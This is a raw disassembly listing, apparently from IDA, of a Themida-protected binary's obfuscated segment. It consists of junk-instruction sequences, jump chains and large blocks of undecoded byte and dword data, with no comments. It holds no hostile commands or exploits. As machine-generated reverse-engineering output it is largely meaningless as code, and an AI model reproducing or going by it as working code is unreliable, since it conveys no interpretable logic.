		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	ecx, edx
		jmp	loc_5504E7
; ---------------------------------------------------------------------------

loc_55FFF1:				; CODE XREF: Themida_:00554992j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 0Ah
		push	76C3h
		jmp	loc_5595A9
; ---------------------------------------------------------------------------
		dd 1C25AFBBh, 4EBC174h,	0EBC1DBF7h, 22E38105h, 0F74CD960h
		dd 6EC381D3h, 89379573h, 0F1815BD9h, 0D6E5B268h, 0FF5132E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560031:				; CODE XREF: Themida_:005618F1j
		mov	edx, [esp]
		add	esp, 4
		push	ax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 7Ah
		mov	ah, 53h
		sub	ah, dl
		jmp	loc_55A614
; ---------------------------------------------------------------------------
		db 21h,	0FBh, 5Fh
		dd 5A2DE381h, 0A4E971DEh, 81FFFFA3h, 0E525D4C3h, 5385E93Fh
		dd 34310000h, 0ABABE924h, 2859FFFFh, 51BD04D8h,	0E5803CB5h
		dd 8FC5803Fh, 0E910C580h, 0FFFF5D5Ch, 4F11F3BBh, 56C3812Ah
		dd 68ED7A2Ch, 36C4h, 81241C89h,	12D9242Ch, 815E28EEh, 0EE12D9C6h
		dd 283EE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5600AA:				; CODE XREF: Themida_:00556EBBj
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_562CFA
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 1CEDE05h, 0AFE95782h, 59FFFFA7h, 0E919B753h,	0FFFF64EAh
		dd 5C323BBAh, 1DEA8173h, 0F71BA666h, 0FAF281D2h, 813CBB1Dh
		dd 0A0B014EAh, 0E9D02934h, 0FFFF9A62h
; ---------------------------------------------------------------------------

loc_5600EC:				; CODE XREF: Themida_:00563568j
		pop	esi
		and	ebx, 6A322B4Eh
		push	ebx
		jmp	loc_55BC9E
; ---------------------------------------------------------------------------
		db 54h,	59h, 0E9h
		dd 0FFFFC8EAh, 4C481h, 0C5810000h, 4, 0FFF513E9h
		db 0FFh
byte_560111	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054FE78o
		dd 0D359669Dh, 0E99C2414h, 0FFFEFF77h
; ---------------------------------------------------------------------------

loc_560120:				; CODE XREF: Themida_:00562EC9j
		add	esp, 4
		push	ecx
		push	4
		pop	ecx
		add	edi, 4AA579FCh
		add	edi, ecx
		sub	edi, 4AA579FCh
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		push	6465h
		jmp	loc_5522A3
; ---------------------------------------------------------------------------
		db 0BBh
		dd 429441EEh, 971DCF05h, 0E9D8294Eh, 0FFFFB9C2h, 0E904EC83h
		dd 0FFFFF49Bh
; ---------------------------------------------------------------------------

loc_560160:				; CODE XREF: Themida_:00563ED1j
		mov	dl, 2Bh
		jmp	loc_554E65
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0A7B551DAh, 0F68AE580h, 0F9E580DDh, 9CC580h,	0D53059EAh
		dd 0FFE8305Ah, 0EAE92434h, 5FFFF28h, 4,	8704E883h, 895C2404h
		dd 8AE9240Ch, 52FFFF1Fh, 0F488EE88h, 0F480595Ah, 78EC8052h
		dd 0E9CBE480h, 3EC8h, 2B7EBA52h, 0D6091054h, 30F4E95Ah
		dd 81580000h, 5D643EEBh, 0EB5DE913h, 0D2F7FFFFh, 0AF05F281h
		dd 0C78123A3h, 1A551FDDh, 0EF81D701h, 1A551FDDh, 4C7835Ah
		dd 5C243C87h, 0FFB021E9h, 81C501FFh, 610BB4C5h,	24048B1Dh
		dd 0E9E68956h, 0FFFF37F6h, 6404E956h, 0EB80FFFFh, 80E300DAh
		dd 34FFDAC3h, 0C4835824h, 0C0B60F04h, 24148B66h, 2C8B5455h
		dd 0FEDAE924h, 0F029FFFFh, 449E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56022E:				; CODE XREF: Themida_:0055E4CFj
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_553461
; ---------------------------------------------------------------------------

loc_56023A:				; CODE XREF: Themida_:005649F5j
		mov	ecx, [esp]
		add	esp, 4
		push	33F3h
		mov	[esp], eax
		jmp	loc_5594F7
; ---------------------------------------------------------------------------
		db 5Eh,	66h, 8Fh
		dd 0FE41E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_560256:				; CODE XREF: Themida_:00554E35j
		xor	ebx, 0DDD6BDE3h
		sub	edi, 623B0C55h
		add	edi, ebx
		add	edi, 623B0C55h
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5607E9
; ---------------------------------------------------------------------------
		db 68h,	0Fh, 65h
		dd 815F1BABh, 0F70614C7h, 5FFA89F8h, 315DEA31h,	31D331DAh
		dd 2CDCE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56029A:				; CODE XREF: Themida_:00558B4Aj
		xor	eax, ecx
		push	69A7h
		mov	[esp], eax
		push	ecx
		pop	eax
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56525C
; ---------------------------------------------------------------------------

loc_5602B1:				; CODE XREF: Themida_:005506E9j
		mov	esi, 7BD90EBEh
		xor	ebp, esi
		pop	esi
		add	ebp, 1
		add	ebp, 7E95FDD8h
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55FF04
; ---------------------------------------------------------------------------
		db 81h
		dd 6D3809C3h, 4BD3F71Ah, 6F09E381h, 0EB816E16h,	681008FCh
		dd 875BDD29h, 0E95C242Ch, 4E60h, 26BA525Ch, 2963584Ch
		dd 0CB015AD3h, 3C23E9h,	58C13100h, 96E9CD29h
		db 17h,	2 dup(0)
byte_56030F	db 66h			; DATA XREF: Themida_:0054FF44o
		dd 68240C8Bh, 56CDh, 0E9243C89h, 3202h,	0E9240C8Bh, 0FFFFC1E5h
dword_560328	dd 0E9E28952h, 0FFFF492Dh, 1EE9F3B2h, 0B200004Ah, 0E9D400C7h
					; DATA XREF: Themida_:0054FF10o
		dd 3E19h, 0DFC3815Dh, 0E900B821h, 0FFFFA9E6h, 83243C8Bh
		dd 0C58104C4h, 57402D77h, 0ED81F501h, 57402D77h, 7C468h
		dd 2D33E900h, 815DFFFFh, 5064F1h, 6DC6810Ch, 1672A79h
		dd 6DEE81CEh, 8B672A79h, 0C483240Ch, 0C546E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56038A:				; CODE XREF: Themida_:00552220j
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_551707
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B243C87h, 8B662424h, 7DE92414h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5603AB:				; CODE XREF: Themida_:0055E02Ej
		add	eax, ecx
		pop	ecx
		jmp	loc_555748
; ---------------------------------------------------------------------------
		db 81h
		dd 5B4469EAh, 1DACE9FBh
		db 2 dup(0FFh)
word_5603BE	dw 30ACh		; DATA XREF: Themida_:0054FF18o
		dd 0C6268D8h, 0C890000h, 8033B524h, 45E94FF5h, 4F00003Fh
		dd 146DE781h, 5CE93974h, 29FFFFC4h, 0E99C2404h,	0FFFEFCAFh
; ---------------------------------------------------------------------------

loc_5603E8:				; CODE XREF: Themida_:0055771Ej
		add	esp, 4
		add	ebp, 8F715C98h
		push	ebx
		mov	ebx, ebp
		jmp	loc_55DD76
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C3h
		dd 5DD22A60h, 0EB81D301h, 5DD22A60h, 8324148Bh,	92E904C4h
		dd 5E000040h, 814AD2F7h, 9F17F6F2h, 4EC816Ch, 89000000h
		dd 57BD242Ch, 8159F925h, 62134AEDh, 5DEA01E2h, 0FFCFADE9h
		dd 0BFE953FFh
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56043F:				; CODE XREF: Themida_:0055B176j
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, 69B212D4h
		push	ebx
		mov	ebx, 26E12BFDh
		inc	ebx
		sub	ebx, 706019F4h
		not	ebx
		not	ebx
		jmp	loc_5638A7
; ---------------------------------------------------------------------------

loc_560466:				; CODE XREF: Themida_:0055D61Bj
		mov	ecx, eax
		jmp	loc_55B72D
; ---------------------------------------------------------------------------

loc_56046D:				; CODE XREF: Themida_:00550998j
		sub	ecx, 0A127CFC8h
		sub	eax, ecx
		pop	ecx
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6D5146B5h
		sub	ebx, eax
		pop	eax
		jmp	loc_55658C
; ---------------------------------------------------------------------------
		dd 7C70B850h, 0BE3519F2h, 0E953CD71h, 0DC6h, 148BD131h
		dd 4C48324h, 21595E51h,	2434FFF0h, 32DF685Eh, 34890000h
		dd 53E68924h, 0A64FA8BBh, 46CDE97Eh, 0C4830000h, 59CD0104h
		dd 51685650h, 0FF38E51Dh, 0B5E92434h, 81000019h, 0FB082444h
		dd 0E92A9D68h, 0FFFF6F34h, 8324148Bh, 48F04C4h,	4DA8E924h
		dd 0BA520000h, 79CB1AB4h, 815AD109h, 5AE3D1C1h,	59C829CEh
		dd 81240C8Bh, 4C4h, 24043300h, 33240431h, 248B2404h, 4C48324h
		dd 0ADA7E957h, 64BAFFFFh, 0F740CE61h, 0D6BD55D2h, 21467A25h
		dd 0C2815DEAh, 71D62998h, 148BD729h, 4C48324h, 126CE781h
		dd 0EF81194Dh, 895C5E5h, 6773862Dh, 9782E945h, 7F68FFFFh
		dd 0E9000073h, 0FFFFB4EBh, 5BDE295Dh, 5C243487h, 240C8966h
		dd 0C8B60F66h, 0FF68A4E9h, 0FB1DE9FFh, 5058FFFEh, 2B8h
		dd 0AC34E900h, 0C481FFFFh, 4, 4C381h, 2DE90000h, 5A000024h
		dd 5351D828h, 27E9F9B3h, 58FFFF71h, 58E728h, 8C9E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5605AE:				; CODE XREF: Themida_:00559FE8j
		mov	[esp], edx
		jmp	loc_552BA5
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 481505Eh, 413AF724h,	0BF575D1Fh, 1F413AF7h, 0E95FFD29h
		dd 0FFFFC2E7h, 0FE20892Dh, 4BE7E92Ah, 34890000h, 2474FF24h
		dd 24348B04h, 0FF5CF9E9h, 1E949FFh
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5605EF:				; CODE XREF: Themida_:00556A88j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552BC1
; ---------------------------------------------------------------------------

loc_5605F8:				; CODE XREF: Themida_:0055DFB2j
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		pop	eax

loc_560609:				; CODE XREF: Themida_:00550802j
					; Themida_:00560B3Fj
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 52FC589Ch
		jmp	loc_558D75
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0D3h
		dd 0C0FAC580h, 0A7E905E5h, 29FFFFBDh, 505F5EF5h, 8C39D7B8h
		dd 5FAD3526h, 0A7E97EE8h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56063F:				; CODE XREF: Themida_:0055C676j
		pop	esp
		push	5DB3h
		mov	[esp], esi
		push	edi
		mov	edi, 0F1C5A16h
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_551718
; ---------------------------------------------------------------------------
byte_56065B	db 0FFh			; DATA XREF: Themida_:00550030o
		dd 669D1C77h, 241CD359h, 0FA2DE99Ch, 0D001FFFEh, 8324148Bh
		dd 66E904C4h, 5EFFFF4Eh, 4BF57h, 6A050000h, 152B863h, 3676E9F8h
		dd 0C87FFFFh, 24248B24h, 66E9F766h, 0E974DD68h,	0FFFF650Dh
; ---------------------------------------------------------------------------

loc_56069C:				; CODE XREF: Themida_:00558045j
		sub	esi, 0BC4A3F05h
		add	edx, 64E419D2h
		add	edx, esi
		jmp	loc_55398F
; ---------------------------------------------------------------------------
		db 5
		dd 4, 1C55E9h, 14E95F00h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5606BF:				; CODE XREF: Themida_:0055FA0Ej
		sub	dword ptr [esp+4], 45A1005Bh
		add	[esp+4], ebx
		jmp	loc_5572B4
; ---------------------------------------------------------------------------
		dd 3C63E981h, 0E9817662h, 10F15850h, 5659CB01h,	0FF95ABE9h
		dd 81DD01FFh, 3D4BB2C5h, 0DDF75B45h, 242BBE56h,	0F0E93B5Eh
		dd 68FFFF29h, 58A8752Ch, 3A99E95Dh, 0CD800000h,	0DBF5805Ch
		dd 0C8BEE88h, 8FE0E924h, 0EF01FFFFh, 2D03C781h,	95D5846h
		dd 0BB535FFDh, 0F29F7479h, 15BDD31h, 242C8BEAh,	4C481h
		dd 0D3890000h, 0F959E95Ah, 489FFFEh, 4B824h, 0C1010000h
		dd 240C8758h, 311AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560752:				; CODE XREF: Themida_:0055DB35j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_564A69
; ---------------------------------------------------------------------------

loc_56075E:				; CODE XREF: Themida_:00563BC5j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		jmp	loc_5650FC
; ---------------------------------------------------------------------------

loc_56077D:				; CODE XREF: Themida_:0055E028j
		push	6F571390h
		pop	ebx
		add	esi, ebx
		jmp	loc_55838F
; ---------------------------------------------------------------------------

loc_56078A:				; CODE XREF: Themida_:0056125Dj
		add	edx, 3C6C1EABh
		jmp	loc_552ED8
; ---------------------------------------------------------------------------
		db 50h,	88h, 0C8h
		dd 0CE9C8FEh
		db 36h,	2 dup(0FFh)
byte_56079F	db 66h			; DATA XREF: Themida_:0054FE48o
		dd 68240C8Bh, 2B73h, 68242C89h,	78B4h, 0FF56CFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5607B5:				; CODE XREF: Themida_:0055FDC2j
		pop	edi
		jmp	loc_55F992
; ---------------------------------------------------------------------------

loc_5607BB:				; CODE XREF: Themida_:00564B5Bj
		push	2902h
		jmp	loc_5641DB
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4ECh, 24348900h, 573D1BBEh, 0C1D6F768h, 0EE8106E6h
		dd 330C718Bh, 0FFF9C7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5607E9:				; CODE XREF: Themida_:00560278j
		mov	[esp], edx
		jmp	loc_56280E
; ---------------------------------------------------------------------------
byte_5607F1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FF40o
		dd 0E0895024h, 81E78957h, 4C7h,	4EF8100h, 87000000h, 895C243Ch
		dd 4BA2414h, 5000000h, 6CCA038Ah, 0BD55D001h, 6CCA038Ah
		dd 8B5DE829h, 89522414h, 4C281E2h, 53000000h, 0D558B5BBh
		dd 77EB8111h, 0C12C4144h, 0EBC108E3h, 0FFEB8105h, 50744604h
		dd 450968h, 241C8900h, 0FF7907E9h, 0DCF68FFh, 835B7DC4h
		dd 4B6801EBh, 89000033h, 0C4E9243Ch, 0BAFFFFB7h, 64D06DECh
		dd 0FF3D1EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560875:				; CODE XREF: Themida_:0055B371j
		inc	ecx
		jmp	loc_550D28
; ---------------------------------------------------------------------------

loc_56087B:				; CODE XREF: Themida_:00564CB8j
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55A741
; ---------------------------------------------------------------------------
		dd 92138F05h, 19E95A06h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560897:				; CODE XREF: Themida_:005584B0j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5550D1
; ---------------------------------------------------------------------------

loc_5608AA:				; CODE XREF: Themida_:00561769j
		sub	esi, 147F7D87h
		jmp	loc_552CAD
; ---------------------------------------------------------------------------
		db 1, 0CFh, 59h
		dd 3304EF83h, 3C31243Ch, 243C3324h, 2424895Ch, 0FFBD31E9h
		dd 24048BFFh, 6804C483h, 5712h,	24F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5608DD:				; CODE XREF: Themida_:005639A2j
		mov	eax, 0
		add	eax, ecx
		mov	[eax], ebx
		jmp	loc_561DDF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4E0C1D0h, 2A2BBE56h,	0DEF71944h, 18B5E9h, 242C8B00h
		dd 4C481h, 0BE560000h, 5FA7178Bh, 8102EEC1h, 962CD5C6h
		dd 39F68103h, 4E5B9865h, 0FFFFEE81h, 5DE9FFFFh,	0E9FFFF97h
		dd 0FFFEF76Bh, 0E95BDF09h, 0FFFFD4BDh, 83FE0159h, 1C8904ECh
		dd 17ADBB24h, 0E9433650h, 1B79h
; ---------------------------------------------------------------------------

loc_560948:				; CODE XREF: Themida_:00563D29j
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55F42E
; ---------------------------------------------------------------------------
		dd 5404EC83h, 8324048Fh, 8B042404h, 0C483241Ch,	4C38104h
		dd 68000000h, 1CFh, 2097E9h, 52505B00h,	0FF926CE9h, 0DFB951FFh
		dd 0F7230E1Ch, 0FCE981D9h, 0E93DAE31h, 0FFFFFD40h, 3759C381h
		dd 0C3813022h, 53CF6403h, 3B8DC381h, 0EB812382h, 68A24B5Dh
		dd 0A52EF381h, 0D901179Dh, 0FF32D5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5609B5:				; CODE XREF: Themida_:0055CEABj
		pop	edi
		sub	eax, 0E36F045Dh
		sub	edi, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55AEAD
; ---------------------------------------------------------------------------
		dd 4E03EEC1h, 5C1BC681h, 0F1017367h, 0FF037BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5609E9:				; CODE XREF: Themida_:005529B1j
		add	edx, ebx
		pop	ebx
		jmp	loc_56273B
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 241C8B04h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0CFE92414h
		dd 89FFFF97h, 68512404h, 4A89585Eh, 81240C8Bh, 4C4h, 0C1E18100h
		dd 8155FC28h, 0CABDCFE9h, 59C8893Fh, 932FAC25h,	3148E908h
		dd 48FFFFFh, 8B9FE924h,	2C8BFFFFh, 4C48124h, 66000000h
		dd 667B54BFh, 0C8BCF29h, 989CE924h, 3F04FFFFh, 0D8F63C0Ch
		dd 0C1308A2Ch, 0EBD2E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560A6A:				; CODE XREF: Themida_:00554711j
		mov	ebx, [esp]
		push	edx
		jmp	loc_562EB2
; ---------------------------------------------------------------------------
aV5pHR		db '½‚5p^h³R',0
		dd 240C8900h, 0A527B5B9h, 0ED74E966h, 2C87FFFFh, 24248B24h
		dd 0E9241433h, 44A7h, 592434FFh, 0CE56E950h, 0EC81FFFFh
		dd 4, 52240489h, 0B01680BAh, 5AD0895Ch,	0FF02C5E9h, 5FF987FFh
		dd 0E903E1C1h, 0FFFEF816h, 5C24048Fh, 0FFFEB0E9h, 4EB83FFh
		dd 5C241C87h, 89243489h, 11BF57E6h, 0C15ADF01h,	0D7F708EFh
		dd 0FFB735E9h, 0E9F101FFh, 0FFFF10D4h
; ---------------------------------------------------------------------------

loc_560AF0:				; CODE XREF: Themida_:00550DECj
		pop	esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_550C20
; ---------------------------------------------------------------------------

loc_560B02:				; CODE XREF: Themida_:0055A8D9j
		mov	edi, 52A53CE0h
		xchg	ebx, edi
		dec	ebx
		xchg	ebx, edi
		sub	edi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 57A6103Eh
		add	edi, ecx
		pop	ecx
		inc	edi
		dec	edi
		add	edi, 55B4B2E1h
		add	ebx, 1DBA7B52h
		sub	ebx, edi
		sub	ebx, 1DBA7B52h
		pop	edi
		xor	ebx, 98A2ECB3h
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_560609
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_55338D
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 8704C683h, 0C3E92434h, 0BBFFFFD3h, 12A56CF1h
		dd 0E381DBF7h, 5EF66595h, 63F7CB81h, 0D3F76C1Fh, 4FE5CB81h
		dd 0C38158FFh, 28743FE1h, 3196E9h, 0FFD78900h, 1BE92434h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560B93:				; CODE XREF: Themida_:005618B1j
		pop	ebx
		push	edx
		mov	edx, 53740F8h
		shl	edx, 6
		add	edx, 2499390Dh
		add	edi, edx
		pop	edx
		or	edi, 61F077F1h
		dec	edi
		jmp	loc_5593DB
; ---------------------------------------------------------------------------

loc_560BB2:				; CODE XREF: Themida_:00558467j
		sub	edi, 0C927A623h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55C673
; ---------------------------------------------------------------------------
		dd 4EC835Fh, 0E9243C89h, 0FFFF6B04h, 0E981D9F7h, 0CA12B46Ah
		dd 8159CA01h, 122EA0E2h, 0F2814277h, 2C826B0Dh,	0FFF7B2E9h
		dd 241C89FFh, 0B65279B3h, 7CEE80B5h, 525AF330h,	0F33030B6h
		dd 83DB2C5Ah, 0C8904ECh, 0C34EE924h, 89BDFFFFh,	0E95A840Fh
		dd 0FFFEFF6Ch, 0C015EA81h, 0FAE98209h
		db 0B4h, 2 dup(0FFh)
byte_560C37	db 68h			; DATA XREF: Themida_:0054FEC8o
		dd 6DEDh, 0FF72F5E9h, 240C89FFh, 5E08950h, 4, 5004E883h
		dd 42474FFh, 24048F58h,	0FF236EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560C5D:				; CODE XREF: Themida_:00550C1Bj
		mov	esp, [esp]
		push	2412h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_552609
; ---------------------------------------------------------------------------

loc_560C75:				; CODE XREF: Themida_:0055C74Fj
		mov	bl, 8Ch
		add	al, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bl, 38h
		mov	dl, bl
		pop	ebx
		sub	dl, 1
		not	dl
		or	dl, 48h
		sub	dl, 56h
		push	ecx
		mov	ch, 0CDh
		jmp	loc_55B770
; ---------------------------------------------------------------------------
		dd 6827E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560CA2:				; CODE XREF: Themida_:0055AA7Cj
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 1C3F538Fh
		neg	eax
		jmp	loc_55EE2A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9241489h, 0FFFFBFB9h, 31243433h, 34332434h, 24248B24h
		dd 24048B66h, 0FFA9A4E9h, 24148BFFh, 4C481h, 89560000h
		dd 4C681E6h, 83000000h,	348704C6h, 0EC835C24h, 242C8904h
		dd 368F68h, 48F5400h, 4EC8324h,	0B8240489h, 4, 4244401h
		dd 582434FFh, 0FF9844E9h, 24048FFFh, 0BB0F665Ch, 0E99C2404h
		dd 0FFFEF373h
; ---------------------------------------------------------------------------

loc_560D24:				; CODE XREF: Themida_:0056469Bj
		xchg	esi, [esp]
		jmp	loc_5586D4
; ---------------------------------------------------------------------------
aIS_0		db '‰,$éÕ!',0
		align 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554A7E
; ---------------------------------------------------------------------------

loc_560D42:				; CODE XREF: Themida_:0055CD60j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		push	4
		jmp	loc_55A8C9
; ---------------------------------------------------------------------------
		db 68h
		dd 6913h, 87240C89h, 0D1F7240Ch, 0F101E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D6E:				; CODE XREF: Themida_:005583A8j
		mov	ecx, edi
		mov	edi, [esp]
		jmp	loc_55A61C
; ---------------------------------------------------------------------------

loc_560D78:				; CODE XREF: Themida_:0055F36Bj
		pop	ebp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_553EED
; ---------------------------------------------------------------------------
		db 2Dh,	0F4h, 0BBh
		dd 0C2890D72h, 58C22958h, 24348152h, 7D2F36A8h,	0A8F7815Fh
		dd 8B7D2F36h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_551A93
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 0E9240C89h, 0FFFEFD5Fh
; ---------------------------------------------------------------------------

loc_560DD0:				; CODE XREF: Themida_:005512B2j
		sub	esi, 0D60DD256h
		add	eax, esi
		pop	esi
		sub	ebx, eax
		jmp	loc_5655A1
; ---------------------------------------------------------------------------

loc_560DE0:				; CODE XREF: Themida_:0055D84Cj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_550201
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8702C783h, 565C243Ch,	0C2BF6657h, 1DB1E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560E06:				; CODE XREF: Themida_:0055E21Aj
		sub	ebx, 666634C2h
		add	ebx, eax
		jmp	loc_55E86D
; ---------------------------------------------------------------------------
		db 55h
		dd 92138FBDh, 8BE82906h, 8952242Ch, 4C281E2h, 51000000h
		dd 0FFD3ABE9h, 243433FFh, 775E9h, 24050C00h, 0FB686662h
		dd 1C89664Ch, 2C57B324h, 28E12C4Ch, 1AC2E9D8h, 44E9FFFFh
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_560E53:				; CODE XREF: Themida_:005631AEj
		shr	edi, 7
		add	edi, 11F10B4Bh
		sub	edi, 6FE7630Fh
		add	edi, 1A2E239Bh
		sub	edi, 2F6A224Ah
		sub	edi, 8D03AE39h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 4
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0C56FF8h
		sub	[esp+4], ebp
		jmp	loc_55DD25
; ---------------------------------------------------------------------------
		db 87h
		dd 15C241Ch, 21E981F9h,	5F734360h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_552E96
; ---------------------------------------------------------------------------
aWNs		db 'W¿­s=',0
		db 0C1h
		dd 0C78107E7h, 47B571EDh, 78ACF781h, 0C781487Eh, 727728ACh
		dd 2501F781h, 0FB01D91Dh, 83243C8Bh, 0F0E904C4h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560EE7:				; CODE XREF: Themida_:0055AFCCj
		mov	[esp], ebx
		push	edx
		push	ebp
		jmp	loc_55172A
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 4BE24h, 0D1E90000h, 52FFFF92h, 0B2526651h, 0E9D58860h
		dd 0FFFF03ABh, 0C50263BEh, 8EEC105h, 93A3E950h,	7400FFFFh
		dd 0F5E90224h, 0B8FFFF2Bh, 6FF901B4h, 704D905h,	9AE95234h
		dd 8300000Dh, 58042404h, 405h, 4C08300h, 5C240487h, 5C241C87h
		dd 24042966h, 64D8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560F52:				; CODE XREF: Themida_:0055B278j
		push	ecx
		mov	ecx, 0ADA3C3F1h
		sub	ebx, ecx
		pop	ecx
		sub	edx, ebx
		pop	ebx
		pop	ebp
		push	3AE3h
		mov	[esp], edx
		jmp	loc_552C6B
; ---------------------------------------------------------------------------

loc_560F6C:				; CODE XREF: Themida_:00561DDAj
		mov	edi, 329860CEh
		mov	ecx, 408A10F9h
		xor	ecx, edi
		jmp	loc_55E02D
; ---------------------------------------------------------------------------

loc_560F7D:				; CODE XREF: Themida_:0055F92Fj
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, 5FBA2F53h
		add	ecx, edx
		sub	ecx, 5FBA2F53h
		pop	edx
		jmp	loc_55A6E2
; ---------------------------------------------------------------------------
		db 83h,	0EDh, 0FFh
		dd 0FF2CA4E9h, 4C281FFh, 81000000h, 2C2h, 0E47EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

